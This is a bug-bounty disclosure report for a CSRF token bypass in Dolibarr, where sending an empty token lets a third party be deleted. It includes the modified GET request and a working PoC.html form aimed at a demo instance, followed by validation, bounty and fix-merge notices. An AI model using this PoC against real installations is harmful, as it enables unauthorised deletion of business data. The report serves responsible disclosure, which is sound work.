Cross-Site Request Forgery (CSRF) in dolibarr/dolibarr

Valid
Reported on Jul 18th 2021

✍️ Description

Attacker can delete any Third Parties for any user with CSRF vulnerability when the Admin or SuperAdmin or an authorized user click on PoC.html file, it is enough to attacker know the Third Parties id on server.

I convert the

GET /societe/card.php?socid=2711&action=confirm_delete&confirm=yes&token=74ab7523a2fd5018a5cccdfc8ad74625 HTTP/2

to this

GET /societe/card.php?socid=2711&action=confirm_delete&token=&confirm=yes HTTP/2

and then the CSRF token baypassed.

🕵️‍♂️ Proof of Concept

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.dolibarr.org/societe/card.php">
      <input type="hidden" name="socid" value="2712" />
      <input type="hidden" name="action" value="confirm&#95;delete" />
      <input type="hidden" name="token" value="" />
      <input type="hidden" name="confirm" value="yes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


💥 Impact

This vulnerability is capable of Delete Third Parties.

We have contacted a member of the dolibarr team and are waiting to hear back 8 days ago
Laurent Destailleur validated this vulnerability 6 days ago
amammad has been awarded the disclosure bounty
$40
The fix bounty is now up for grabs
$10
Laurent Destailleur confirmed that a fix has been merged on 08e06f 6 days ago
Laurent Destailleur has been awarded the fix bounty
$10